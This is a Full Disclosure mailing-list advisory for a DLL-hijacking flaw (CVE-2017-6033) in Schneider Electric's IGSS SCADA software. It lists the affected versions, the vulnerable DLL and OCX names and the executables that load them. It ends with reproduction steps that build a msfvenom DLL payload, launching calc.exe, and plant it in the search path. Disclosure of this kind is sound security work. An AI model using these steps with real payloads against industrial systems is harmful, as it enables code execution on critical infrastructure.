Vendor: Schneider Electric Equipment: Interactive Graphical SCADA System (IGSS) Software Vulnerability: DLL Hijacking Advisory URL: https://ipositivesecurity.com/2017/05/18/ics-schneider-electric-interactive-graphical-scada-system-software-insecure-library-loading-allows-code-execution/
ICS-CERT Advisory https://ics-cert.us-cert.gov/advisories/ICSA-17-094-01 ------------------------ AFFECTED PRODUCTS ------------------------ Schneider Electric reports that the vulnerability affects the following IGSS HMI desktop application: IGSS Software, Version 12 and previous versions. ------------------------ IMPACT ------------------------ An attacker who exploits this vulnerability may be able to remotely execute arbitrary code. ------------------------ VULNERABILITY OVERVIEW ------------------------ UNCONTROLLED SEARCH PATH ELEMENT CWE-427 The software will execute a malicious file if it is named the same as a legitimate file and placed in a location that is earlier in the search path. CVE-2017-6033 has been assigned to this vulnerability. A CVSS v3 base score of 6.8 has been calculated; the CVSS vector string is (AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H). ------------------------ Vulnerable Libraries: ------------------------ msjet48.dll msjet47.dll msjet46.dll msjet45.dll msjet44.dll msjet43.dll msjet42.dll msjet41.dll hhctrl.ocx ------------------------ Application Executables (that look for missing DLL): ------------------------ igss.exe igss_dde.exe IGSSdataServer.exe genhdm.exe mre.exe RsLinxTo7TABSLC.exe WinBROWSE.exe ------------------------ Application Executables (that look for missing OCX): ------------------------ errcode.exe def.exe chelm.exe ------------------------ Steps to reproduce ------------------------ 1. Generate a dll payload msfvenom –p windows/exec cmd=calc.exe –f dll –o msjet41.dll 2. Place this dll (or any of above listed dlls) in install directory (or C:\Windows, or any directory defined in the PATH environment variable) C:\app-folder-RW\ 3. Run igss.exe -> calc.exe will execute +++++ _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
